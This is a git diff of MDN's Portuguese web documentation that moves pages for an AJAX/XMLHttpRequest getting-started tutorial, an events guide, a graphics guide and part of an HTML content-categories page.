Vamos a ver o que é que esta função deve fazer. Primeiro, a função precisa de verificar o estado do pedido. Se o estado possui o valor 4, isso significa que a totalidade da resposta do servidor foi recebida e que pode continuar a processá-la à vontade.

- -
if (http_request.readyState == 4) {
-    // everything is good, the response is received
-} else {
-    // still not ready
-}
-
- -

A lista completa dos valores readyState é a seguinte:

- - - -

(Source)

- -

A próxima coisa a verificar é o código do estado da resposta HTTP do servidor. Todos os códigos possíveis estão listados na página W3C. Para os nossos objectivos nós só estamos interessados na resposta 200 OK.

- -
if (http_request.status == 200) {
-    // perfect!
-} else {
-    // there was a problem with the request,
-    // for example the response may be a 404 (Not Found)
-    // or 500 (Internal Server Error) response codes
-}
-
- -

Depois de verificar o estado do pedido e o código do estado HTTP da resposta, compete-lhe a si fazer aquilo que quer fazer com os dados que o servidor lhe enviou. Tem duas opções para aceder a esses dados:

- - - -

 

- -

Passo 3 – Um exemplo simples

- -

Vamos agora pôr tudo junto e efectuar um simples pedido HTTP. O nosso JavaScript vai pedir um documento HTML, teste.html, que contém o texto "Sou um teste." e então vamos alert() os conteúdos do ficheiro teste.html.

- -
<script type="text/javascript" language="javascript">
-
-    var http_request = false;
-
-    function makeRequest(url) {
-
-        http_request = false;
-
-        if (window.XMLHttpRequest) { // Mozilla, Safari,...
-            http_request = new XMLHttpRequest();
-            if (http_request.overrideMimeType) {
-                http_request.overrideMimeType('text/xml');
-                // See note below about this line
-            }
-        } else if (window.ActiveXObject) { // IE
-            try {
-                http_request = new ActiveXObject("Msxml2.XMLHTTP");
-            } catch (e) {
-                try {
-                    http_request = new ActiveXObject("Microsoft.XMLHTTP");
-                } catch (e) {}
-            }
-        }
-
-        if (!http_request) {
-            alert('Giving up :( Cannot create an XMLHTTP instance');
-            return false;
-        }
-        http_request.onreadystatechange = alertContents;
-        http_request.open('GET', url, true);
-        http_request.send(null);
-
-    }
-
-    function alertContents() {
-
-        if (http_request.readyState == 4) {
-            if (http_request.status == 200) {
-                alert(http_request.responseText);
-            } else {
-                alert('There was a problem with the request.');
-            }
-        }
-
-    }
-</script>
-<span
-    style="cursor: pointer; text-decoration: underline"
-    onclick="makeRequest('test.html')">
-        Make a request
-</span>
-
- -

Neste exemplo:

- - - -

Você pode testar o exemplo aqui e pode ver o ficheiro de teste aqui.

- -
Nota: Se você está enviando uma solicitação para um pedaço de código que retornará XML, ao invés de um arquivo XML estático, é necessário definir alguns cabeçalhos de resposta se a sua página deve trabalhar com o Internet Explorer, além de Mozilla. Se você não definir cabeçalho Content-Type: application / xml, o IE irá lançar um erro JavaScript, "Objeto esperado", após a linha onde você tentar acessar um elemento XML..
- -
Nota 2: Se você não definir cabeçalho Cache-Control: no-cache o navegador armazenará em cache a resposta e jamais voltará a submeter o pedido, tornando a depuração "desafiadora". Também é possível acrescentar um parâmetro GET adicional sempre diferente, como o timestamp ou um número aleatório (veja bypassing the cache).
- -
Nota 3: Se a variável httpRequest é utilizada globalmente, funções concorrentes chamando makeRequest () podem sobrescrever o outro, causando uma condição de corrida. Declarando o httpRequest variável local para um closure contendo as funções AJAX impede a condição de corrida.
- -
Nota 4: Caso ocorra um erro de comunicação (tal como a queda de do servidor web), uma exceção será lançada no método onreadystatechange quando o campo status for acessado. Tenha a certeza de envolver sua declaração if..then dentro de um bloco try...catch. (Veja: {{ Bug(238559) }}).
- -

Passo 4 – Trabalhar com a resposta XML

- -

No exemplo anterior, após termos recebido a resposta ao pedido HTTP, nós usamos a propriedade reponseText do objecto de pedido e continha os conteúdos do ficheiro test.html. Agora vamos experimentar a propriedade responseXML.

- -

Antes de tudo, vamos criar um documento XML válido que vamos pedir mais à frente. O documento (test.xml) contém o seguinte:

- -

 

- -
<?xml version="1.0" ?>
-<root>
-    I'm a test.
-</root>
-
- -

No guião só precisamos de alterar a linha do pedido com:

- -
...
-onclick="makeRequest('test.xml')">
-...
-
- -

Então em alertContents() nós precisamos de substituir a linha de alerta (alert(http_request.responseText);) com:

- -
var xmldoc = http_request.responseXML;
-var root_node = xmldoc.getElementsByTagName('root').item(0);
-alert(root_node.firstChild.data);
-
- -

Este código pega o objeto XMLDocument obtido por responseXML e utiliza métodos DOM para acessar alguns dados contidos no documento XML. Você pode ver o test.xml aqui e o script de teste atualizado aqui.

- -

Categorias

- -

Interwiki Language Links

- -

Passo 5 – Tabalhar com dados

- -

Finalmente, vamos enviar algum dado para o servidor e obter a resposta. Desta vez, nosso JavaScript solicitará um página dinâmica (test.php)  que receberá os dados que enviamos e retornará um string computada - "Hello, [user data]!" - visualizada através de alert().

- -

Primeiro, vamos adicionar uma text box em nosso HTML de modo que o usuário possa digitar o seu nome:

- -
<label>Your name:
-  <input type="text" id="ajaxTextbox" />
-</label>
-<span id="ajaxButton" style="cursor: pointer; text-decoration: underline">
-  Make a request
-</span>
- -

Vamos, também, adicionar uma linha para nosso manipulador de eventos obter os dados do usuário da text box e enviá-lo para função makeRequest() juntamente com a URL do nosso script do lado do servidor (server-side):

- -
document.getElementById("ajaxButton").onclick = function() {
-      var userName = document.getElementById("ajaxTextbox").value;
-      makeRequest('test.php',userName);
-  };
- -

Precisamos modificar makeRequest () para aceitar os dados do usuário e passá-lo para o servidor. Vamos mudar o método de requisição de GET para POST, e incluir nossos dados como um parâmetro na chamada para httpRequest.send():

- -
function makeRequest(url, userName) {
-
-    ...
-
-    httpRequest.onreadystatechange = alertContents;
-    httpRequest.open('POST', url);
-    httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
-    httpRequest.send('userName=' + encodeURIComponent(userName));
-  }
-
- -

A função alertContents() pode ser escrita da mesma forma que se encontrava no Passo 3 para alertar (alert()) nossa string computada,  se isso for tudo o que o servidor retorna. No entanto, vamos dizer que  o servidor irá retornar tanto a sequência computada como o dados original do usuário. Portanto, se o usuário digitou "Jane" na text box, a resposta do servidor ficaria assim:

- -

{"userData":"Jane","computedString":"Hi, Jane!"}

- -

Para utilizar estes dados dentro de alertContents(), nós não podemos simplesmente exibir com alert()  a propriedade responseText. Temos que analisar (parse it)  computedString a propriedade que queremos:

- -
function alertContents() {
-    if (httpRequest.readyState === 4) {
-      if (httpRequest.status === 200) {
-        var response = JSON.parse(httpRequest.responseText);
-        alert(response.computedString);
-    } else {
-      alert('There was a problem with the request.');
-    }
-}
- -

Para mais métodos DOM, certifique-se que consulta os documentos sobre a implementação de DOM da Mozilla

diff --git a/files/pt-pt/web/guide/ajax/comunidade/index.html b/files/pt-pt/web/guide/ajax/comunidade/index.html deleted file mode 100644 index 98a2936999..0000000000 --- a/files/pt-pt/web/guide/ajax/comunidade/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Comunidade -slug: Web/Guide/AJAX/Comunidade -tags: - - AJAX -translation_of: Web/Guide/AJAX/Community ---- -

Se conhece listas de discussão úteis, grupos de notícias, fóruns, ou outras comunidades relacionadas com AJAX, interligue-os aqui.

- -

Recursos Ajax

- -

Ajax - Conferências e Cursos

- - - -

{{ languages( { "ja": "ja/AJAX/Community", "fr": "fr/AJAX/Communaut\u00e9" } ) }}

diff --git a/files/pt-pt/web/guide/ajax/getting_started/index.html b/files/pt-pt/web/guide/ajax/getting_started/index.html new file mode 100644 index 0000000000..f067252d2d --- /dev/null +++ b/files/pt-pt/web/guide/ajax/getting_started/index.html @@ -0,0 +1,305 @@ +--- +title: Primeiros Passos +slug: Web/Guide/AJAX/Como_começar +tags: + - AJAX + - API + - Avançado + - JavaScript + - Mecânica da Web + - XMLHttpRequest +translation_of: Web/Guide/AJAX/Getting_Started +--- +

Este artigo guia-o através do essencial do AJAX e oferece-lhe dois exemplos práticos simples para poder começar.

+ +

O que é AJAX?

+ +

AJAX (JavaScript Assíncrono e XML) em poucas palavras, é a utilização do objeto XMLHttpRequest para comunicar com os servidores. Este pode enviar e receber informação em vários formatos, incluindo JSON, XML, HTML e ficheiros de texto. A característica mais atraente do AJAX é a sua natureza 'assíncrona', o que significa que este pode comunicar com o servidor, trocar dados, e atualizar a página sem ter que recarregar a página.

+ +

As duas principais funcionalidades do AJAX são as seguintes:

+ + + +

Passo 1 - Como efetuar um pedido de HTTP

+ +

Para fazer uma requisição HTTP ao servidor usando JavaScript, você precisa de uma instância de uma classe que disponibilize essa funcionalidade. Tal classe foi primeiro introduzida no Internet Explorer sob a forma de um objecto ActiveX chamado XMLHTTP. Depois, o Mozilla, o Safari e outros browsers fizeram o mesmo, implementando uma classe de nome XMLHttpRequest que suporta os métodos e as propriedades do objecto ActiveX original da Microsoft.

+ +

Por isso, para criar uma instância (objeto) da classe pretendida compatível com multiplos navegadores, você pode fazer:

+ +
if (window.XMLHttpRequest) { // Mozilla, Safari, ...
+    http_request = new XMLHttpRequest();
+} else if (window.ActiveXObject) { // IE
+    http_request = new ActiveXObject("Microsoft.XMLHTTP");
+}
+
+
+ +

(só a título de exemplo, o código acima é uma versão simplificada do código a ser usado para a criação de uma instância XMLHTTP. Para um exemplo mais "vida real", dê uma olhada ao 3º passo deste artigo.)

+ +

Algumas versões de alguns browsers Mozilla não irão funcionar bem se a resposta do servidor não possuir um cabeçalho mime-type XML. Para satisfazer isto, você pode usar uma chamada extra a um método para ultrapassar o cabeçalho enviado pelo servidor, só no caso de não ser no formato text/xml.

+ +
http_request = new XMLHttpRequest();
+http_request.overrideMimeType('text/xml');
+
+ +

A próxima coisa a ser feita é decidir o que quer fazer após receber a resposta do servidor ao seu pedido. Nesta etapa só precisa de dizer ao objecto pedido HTTP que função JavaScript irá processar a resposta. Isto é feito definindo a propriedade onreadystatechange do objeto ao nome da função JavaScript que pretende utilizar, por exemplo:

+ +

http_request.onreadystatechange = NomedaFunção;

+ +

Note-se que não existem chaves após o nome da função e não são passados parâmetros. Também, em vez de dar um nome a função, você pode usar a técnica JavaScript de definir funções na hora (chamadas funções anônimas) e definir as ações que vão processar a resposta logo, por exemplo:

+ +
http_request.onreadystatechange = function(){
+    // processar resposta do servidor
+};
+
+ +

Em seguida, após ter declarado o que vai acontecer mal receba a resposta, você precisa de consumar o pedido. Precisa de chamar os métodos open() e send() da classe pedido HTTP, por exemplo:

+ +
http_request.open('GET', 'http://www.dominio.com.br/arquivo.extensao', true);
+http_request.send(null);
+
+ + + +

O parâmetro do método send() pode ser costituido por quaisquer dados que pretenda enviar ao servidor ao enviar (POST) o pedido. Os dados devem estar sob a forma de uma linha de texto de pergunta, tipo:

+ +

name=value&anothername=othervalue&so=on

+ +

ou em vários outros formatos, incluindo JSON, SOAP, etc.

+ +

Note-se que se pretende enviar (POST) dados, você deve alterar o tipo MIME do pedido usando a seguinte linha:

+ +
http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+
+ +

De outra forma o servidor irá ignorar os dados (post).

+ +

Pode-se também colocar o charset desejado assim:

+ +
http_request.setRequestHeader('Content-Type',
+                           "application/x-www-form-urlencoded; charset=iso-8859-1");
+
+ +

Outro ponto importante é controle do cache, pois caso haja necessidadde de reenviar a consulta, pode ser que o objeto retorne o que está no cache do navegador. Para evitar esse tipo de transtorno as linhas abaixo eliminam essas possibilidades:

+ +
 http_request.setRequestHeader("Cache-Control",
+                               "no-store, no-cache, must-revalidate");
+http_request.setRequestHeader("Cache-Control",
+                              "post-check=0, pre-check=0");
+http_request.setRequestHeader("Pragma", "no-cache");
+
+ +

Passo 2 - Manipular a resposta do servidor

+ +

Lembre-se que quando estava a enviar o pedido, você providenciou o nome de uma função JavaScript que é criada para lidar com a resposta.

+ +

http_request.onreadystatechange = nameOfTheFunction;

+ +

Vamos a ver o que é que esta função deve fazer. Primeiro, a função precisa de verificar o estado do pedido. Se o estado possui o valor 4, isso significa que a totalidade da resposta do servidor foi recebida e que pode continuar a processá-la à vontade.

+ +
if (http_request.readyState == 4) {
+    // everything is good, the response is received
+} else {
+    // still not ready
+}
+
+ +

A lista completa dos valores readyState é a seguinte:

+ + + +

(Source)

+ +

A próxima coisa a verificar é o código do estado da resposta HTTP do servidor. Todos os códigos possíveis estão listados na página W3C. Para os nossos objectivos nós só estamos interessados na resposta 200 OK.

+ +
if (http_request.status == 200) {
+    // perfect!
+} else {
+    // there was a problem with the request,
+    // for example the response may be a 404 (Not Found)
+    // or 500 (Internal Server Error) response codes
+}
+
+ +

Depois de verificar o estado do pedido e o código do estado HTTP da resposta, compete-lhe a si fazer aquilo que quer fazer com os dados que o servidor lhe enviou. Tem duas opções para aceder a esses dados:

+ + + +

 

+ +

Passo 3 – Um exemplo simples

+ +

Vamos agora pôr tudo junto e efectuar um simples pedido HTTP. O nosso JavaScript vai pedir um documento HTML, teste.html, que contém o texto "Sou um teste." e então vamos alert() os conteúdos do ficheiro teste.html.

+ +
<script type="text/javascript" language="javascript">
+
+    var http_request = false;
+
+    function makeRequest(url) {
+
+        http_request = false;
+
+        if (window.XMLHttpRequest) { // Mozilla, Safari,...
+            http_request = new XMLHttpRequest();
+            if (http_request.overrideMimeType) {
+                http_request.overrideMimeType('text/xml');
+                // See note below about this line
+            }
+        } else if (window.ActiveXObject) { // IE
+            try {
+                http_request = new ActiveXObject("Msxml2.XMLHTTP");
+            } catch (e) {
+                try {
+                    http_request = new ActiveXObject("Microsoft.XMLHTTP");
+                } catch (e) {}
+            }
+        }
+
+        if (!http_request) {
+            alert('Giving up :( Cannot create an XMLHTTP instance');
+            return false;
+        }
+        http_request.onreadystatechange = alertContents;
+        http_request.open('GET', url, true);
+        http_request.send(null);
+
+    }
+
+    function alertContents() {
+
+        if (http_request.readyState == 4) {
+            if (http_request.status == 200) {
+                alert(http_request.responseText);
+            } else {
+                alert('There was a problem with the request.');
+            }
+        }
+
+    }
+</script>
+<span
+    style="cursor: pointer; text-decoration: underline"
+    onclick="makeRequest('test.html')">
+        Make a request
+</span>
+
+ +

Neste exemplo:

+ + + +

Você pode testar o exemplo aqui e pode ver o ficheiro de teste aqui.

+ +
Nota: Se você está enviando uma solicitação para um pedaço de código que retornará XML, ao invés de um arquivo XML estático, é necessário definir alguns cabeçalhos de resposta se a sua página deve trabalhar com o Internet Explorer, além de Mozilla. Se você não definir cabeçalho Content-Type: application / xml, o IE irá lançar um erro JavaScript, "Objeto esperado", após a linha onde você tentar acessar um elemento XML..
+ +
Nota 2: Se você não definir cabeçalho Cache-Control: no-cache o navegador armazenará em cache a resposta e jamais voltará a submeter o pedido, tornando a depuração "desafiadora". Também é possível acrescentar um parâmetro GET adicional sempre diferente, como o timestamp ou um número aleatório (veja bypassing the cache).
+ +
Nota 3: Se a variável httpRequest é utilizada globalmente, funções concorrentes chamando makeRequest () podem sobrescrever o outro, causando uma condição de corrida. Declarando o httpRequest variável local para um closure contendo as funções AJAX impede a condição de corrida.
+ +
Nota 4: Caso ocorra um erro de comunicação (tal como a queda de do servidor web), uma exceção será lançada no método onreadystatechange quando o campo status for acessado. Tenha a certeza de envolver sua declaração if..then dentro de um bloco try...catch. (Veja: {{ Bug(238559) }}).
+ +

Passo 4 – Trabalhar com a resposta XML

+ +

No exemplo anterior, após termos recebido a resposta ao pedido HTTP, nós usamos a propriedade reponseText do objecto de pedido e continha os conteúdos do ficheiro test.html. Agora vamos experimentar a propriedade responseXML.

+ +

Antes de tudo, vamos criar um documento XML válido que vamos pedir mais à frente. O documento (test.xml) contém o seguinte:

+ +

 

+ +
<?xml version="1.0" ?>
+<root>
+    I'm a test.
+</root>
+
+ +

No guião só precisamos de alterar a linha do pedido com:

+ +
...
+onclick="makeRequest('test.xml')">
+...
+
+ +

Então em alertContents() nós precisamos de substituir a linha de alerta (alert(http_request.responseText);) com:

+ +
var xmldoc = http_request.responseXML;
+var root_node = xmldoc.getElementsByTagName('root').item(0);
+alert(root_node.firstChild.data);
+
+ +

Este código pega o objeto XMLDocument obtido por responseXML e utiliza métodos DOM para acessar alguns dados contidos no documento XML. Você pode ver o test.xml aqui e o script de teste atualizado aqui.

+ +

Categorias

+ +

Interwiki Language Links

+ +

Passo 5 – Tabalhar com dados

+ +

Finalmente, vamos enviar algum dado para o servidor e obter a resposta. Desta vez, nosso JavaScript solicitará um página dinâmica (test.php)  que receberá os dados que enviamos e retornará um string computada - "Hello, [user data]!" - visualizada através de alert().

+ +

Primeiro, vamos adicionar uma text box em nosso HTML de modo que o usuário possa digitar o seu nome:

+ +
<label>Your name:
+  <input type="text" id="ajaxTextbox" />
+</label>
+<span id="ajaxButton" style="cursor: pointer; text-decoration: underline">
+  Make a request
+</span>
+ +

Vamos, também, adicionar uma linha para nosso manipulador de eventos obter os dados do usuário da text box e enviá-lo para função makeRequest() juntamente com a URL do nosso script do lado do servidor (server-side):

+ +
document.getElementById("ajaxButton").onclick = function() {
+      var userName = document.getElementById("ajaxTextbox").value;
+      makeRequest('test.php',userName);
+  };
+ +

Precisamos modificar makeRequest () para aceitar os dados do usuário e passá-lo para o servidor. Vamos mudar o método de requisição de GET para POST, e incluir nossos dados como um parâmetro na chamada para httpRequest.send():

+ +
function makeRequest(url, userName) {
+
+    ...
+
+    httpRequest.onreadystatechange = alertContents;
+    httpRequest.open('POST', url);
+    httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+    httpRequest.send('userName=' + encodeURIComponent(userName));
+  }
+
+ +

A função alertContents() pode ser escrita da mesma forma que se encontrava no Passo 3 para alertar (alert()) nossa string computada,  se isso for tudo o que o servidor retorna. No entanto, vamos dizer que  o servidor irá retornar tanto a sequência computada como o dados original do usuário. Portanto, se o usuário digitou "Jane" na text box, a resposta do servidor ficaria assim:

+ +

{"userData":"Jane","computedString":"Hi, Jane!"}

+ +

Para utilizar estes dados dentro de alertContents(), nós não podemos simplesmente exibir com alert()  a propriedade responseText. Temos que analisar (parse it)  computedString a propriedade que queremos:

+ +
function alertContents() {
+    if (httpRequest.readyState === 4) {
+      if (httpRequest.status === 200) {
+        var response = JSON.parse(httpRequest.responseText);
+        alert(response.computedString);
+    } else {
+      alert('There was a problem with the request.');
+    }
+}
+ +

Para mais métodos DOM, certifique-se que consulta os documentos sobre a implementação de DOM da Mozilla

diff --git a/files/pt-pt/web/guide/eventos/index.html b/files/pt-pt/web/guide/eventos/index.html deleted file mode 100644 index 99e7f2f492..0000000000 --- a/files/pt-pt/web/guide/eventos/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Guia do programador de eventos -slug: Web/Guide/Eventos -tags: - - DOM - - Evento - - Guía - - Precisa de Atualização -translation_of: Web/Guide/Events ---- -

{{draft()}}

- -

Events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types.

- -

The overview page provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers.

- -

The custom events page describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code.

- -

The remaining pages describe how to use events of different kinds defined by web browsers. Unfortunately, these events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern web browsers.

- -

The device on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the page on orientation coordinate systems and the page on the use of 3D transforms. That is different, but similar, to the change in device vertical orientation. 

- -

The window in which the browser is displayed can trigger events; for example, change size if the user maximizes the window or otherwise changes it.

- -

The process loading of a web page can trigger events in response to the completion of different steps in the downloading, parsing, and rendering of the web page for display to the user.

- -

The user interaction with the web page contents can trigger events. The events triggered by user interaction evolved during the early years of browser design and include a complicated system defining the sequence in which events will be called and the manner in which that sequence can be controlled. The different types of user interaction-driven events include:

- - - -

The modification of the web page in structure or content might trigger some events, as explained in the mutation events page, but the use of these events has been deprecated in favour of the lighter Mutation Observer approach.

- -

The media streams embedded in the HTML documents might trigger some events, as explained in the media events page.

- -

The network requests made by a web page might trigger some events.

- -

There are many other sources of events defined by web browsers for which pages are not yet available in this guide.

- -
-

Note: This Event Developer Guide needs substantial work. The structure needs to be reorganized and the pages rewritten. Our hope is that everything you need to know about events will go under here.

-
- -

Documentos

- -

{{LandingPageListSubpages}}

- -
- - - - - -
diff --git a/files/pt-pt/web/guide/events/index.html b/files/pt-pt/web/guide/events/index.html new file mode 100644 index 0000000000..99e7f2f492 --- /dev/null +++ b/files/pt-pt/web/guide/events/index.html @@ -0,0 +1,133 @@ +--- +title: Guia do programador de eventos +slug: Web/Guide/Eventos +tags: + - DOM + - Evento + - Guía + - Precisa de Atualização +translation_of: Web/Guide/Events +--- +

{{draft()}}

+ +

Events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types.

+ +

The overview page provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers.

+ +

The custom events page describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code.

+ +

The remaining pages describe how to use events of different kinds defined by web browsers. Unfortunately, these events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern web browsers.

+ +

The device on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the page on orientation coordinate systems and the page on the use of 3D transforms. That is different, but similar, to the change in device vertical orientation. 

+ +

The window in which the browser is displayed can trigger events; for example, change size if the user maximizes the window or otherwise changes it.

+ +

The process loading of a web page can trigger events in response to the completion of different steps in the downloading, parsing, and rendering of the web page for display to the user.

+ +

The user interaction with the web page contents can trigger events. The events triggered by user interaction evolved during the early years of browser design and include a complicated system defining the sequence in which events will be called and the manner in which that sequence can be controlled. The different types of user interaction-driven events include:

+ + + +

The modification of the web page in structure or content might trigger some events, as explained in the mutation events page, but the use of these events has been deprecated in favour of the lighter Mutation Observer approach.

+ +

The media streams embedded in the HTML documents might trigger some events, as explained in the media events page.

+ +

The network requests made by a web page might trigger some events.

+ +

There are many other sources of events defined by web browsers for which pages are not yet available in this guide.

+ +
+

Note: This Event Developer Guide needs substantial work. The structure needs to be reorganized and the pages rewritten. Our hope is that everything you need to know about events will go under here.

+
+ +

Documentos

+ +

{{LandingPageListSubpages}}

+ +
+ + + + + +
diff --git a/files/pt-pt/web/guide/graphics/index.html b/files/pt-pt/web/guide/graphics/index.html new file mode 100644 index 0000000000..c18d703bc5 --- /dev/null +++ b/files/pt-pt/web/guide/graphics/index.html @@ -0,0 +1,50 @@ +--- +title: Gráficos na Web +slug: Web/Guide/Gráficos +tags: + - 2D + - 3D + - Canvas + - HTML5 + - SVG + - Tela + - Web + - WebGL + - WebRTC + - graficos +translation_of: Web/Guide/Graphics +--- +

Web sites e aplicações necessitam frequentemente de apresentar gráficos. Imagens estáticas podem ser facilmente mostradas usado o elemento {{HTMLElement("img")}}, ou definindo o fundo do elemento HTML com a propriedade {{cssxref("background-image")}}. É ainda possivel construir gráficos no momento, ou manipular imagens. Este artigo disponibiliza toda a informação necessária.  

+ +
+
+

Gráficos 2D

+ +
+
Canvas
+
O elemento {{HTMLElement("canvas")}} fornece APIs para desenhar gráficos em 2D com recurso a JavaScript.
+
SVG
+
Scalable Vector Graphics (SVG) utiliza linhas, curvas, e outras formas geometricas para criar gráficos. Com vetores, pode ainda criar imagens que escalam para qualquer tamanho.
+
+ +

View All...

+
+ +
+

Gráficos 3D

+ +
+
WebGL
+
Um guia para iniciar com WebGL, o API de gráficos 3D para a Web. Esta tecnologia permite o uso do standard OpenGL ES em conteúdos Web.
+
+ +

Vídeo

+ +
+
Utilizar áudio e vídeo em HTML5
+
Incorporar video e/ou audio numa página web e controlar a sua reprodução.
+
WebRTC
+
O RTC em WebRTC significa Real-Time Communications (Comunicação em Tempo Real), é a tecnologia que permite o streaming the audio/video e partilha de informação entre clientes de browser (peers).
+
+
+
diff --git "a/files/pt-pt/web/guide/gr\303\241ficos/index.html" "b/files/pt-pt/web/guide/gr\303\241ficos/index.html" deleted file mode 100644 index c18d703bc5..0000000000 --- "a/files/pt-pt/web/guide/gr\303\241ficos/index.html" +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Gráficos na Web -slug: Web/Guide/Gráficos -tags: - - 2D - - 3D - - Canvas - - HTML5 - - SVG - - Tela - - Web - - WebGL - - WebRTC - - graficos -translation_of: Web/Guide/Graphics ---- -

Web sites e aplicações necessitam frequentemente de apresentar gráficos. Imagens estáticas podem ser facilmente mostradas usado o elemento {{HTMLElement("img")}}, ou definindo o fundo do elemento HTML com a propriedade {{cssxref("background-image")}}. É ainda possivel construir gráficos no momento, ou manipular imagens. Este artigo disponibiliza toda a informação necessária.  

- -
-
-

Gráficos 2D

- -
-
Canvas
-
O elemento {{HTMLElement("canvas")}} fornece APIs para desenhar gráficos em 2D com recurso a JavaScript.
-
SVG
-
Scalable Vector Graphics (SVG) utiliza linhas, curvas, e outras formas geometricas para criar gráficos. Com vetores, pode ainda criar imagens que escalam para qualquer tamanho.
-
- -

View All...

-
- -
-

Gráficos 3D

- -
-
WebGL
-
Um guia para iniciar com WebGL, o API de gráficos 3D para a Web. Esta tecnologia permite o uso do standard OpenGL ES em conteúdos Web.
-
- -

Vídeo

- -
-
Utilizar áudio e vídeo em HTML5
-
Incorporar video e/ou audio numa página web e controlar a sua reprodução.
-
WebRTC
-
O RTC em WebRTC significa Real-Time Communications (Comunicação em Tempo Real), é a tecnologia que permite o streaming the audio/video e partilha de informação entre clientes de browser (peers).
-
-
-
diff --git a/files/pt-pt/web/guide/html/categorias_de_conteudo/index.html b/files/pt-pt/web/guide/html/categorias_de_conteudo/index.html deleted file mode 100644 index 9a7c08ee9a..0000000000 --- a/files/pt-pt/web/guide/html/categorias_de_conteudo/index.html +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: Categorias de conteúdo -slug: Web/Guide/HTML/Categorias_de_conteudo -tags: - - Avançado - - Guía - - HTML - - HTML5 - - Web -translation_of: Web/Guide/HTML/Content_categories ---- -

Every HTML element is a member of one or more content categories, which group elements that share characteristics. This is a loose grouping (it doesn't actually create a relationship among elements of these categories), but they help define and describe the categories' shared behavior and their associated rules, especially when you come upon their intricate details. It's also possible for elements to not be a member of any of these categories.

- -

There are three types of content categories:

- - - -
-

Nota: A more detailed discussion of these content categories and their comparative functionalities is beyond the scope of this article; for that, you may wish to read the relevant portions of the HTML specification.

-
- -

A Venn diagram showing how the various content categories interrelate. The following sections explain these relationships in text.

- -

Main content categories

- -

Metadata content

- -

Elements belonging to the metadata content category modify the presentation or the behavior of the rest of the document, set up links to other documents, or convey other out of band information.

- -

Elements belonging to this category are {{HTMLElement("base")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} and {{HTMLElement("title")}}.

- -

Flow content

- -

Elements belonging to the flow content category typically contain text or embedded content. They are: {{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}},{{HTMLElement("bdo")}}, {{HTMLElement("bdi")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("main")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("s")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("template")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} and Text.

- -

A few other elements belong to this category, but only if a specific condition is fulfilled:

- - - -

Sectioning content

- -

Elements belonging to the sectioning content model create a section in the current outline that defines the scope of {{HTMLElement("header")}} elements, {{HTMLElement("footer")}} elements, and heading content.

- -

Elements belonging to this category are {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} and {{HTMLElement("section")}}.

- -
-

Do not confuse this content model with the sectioning root category, which isolates its content from the regular outline.

-
- -

Heading content

- -

Heading content defines the title of a section, whether marked by an explicit sectioning content element, or implicitly defined by the heading content itself.

- -

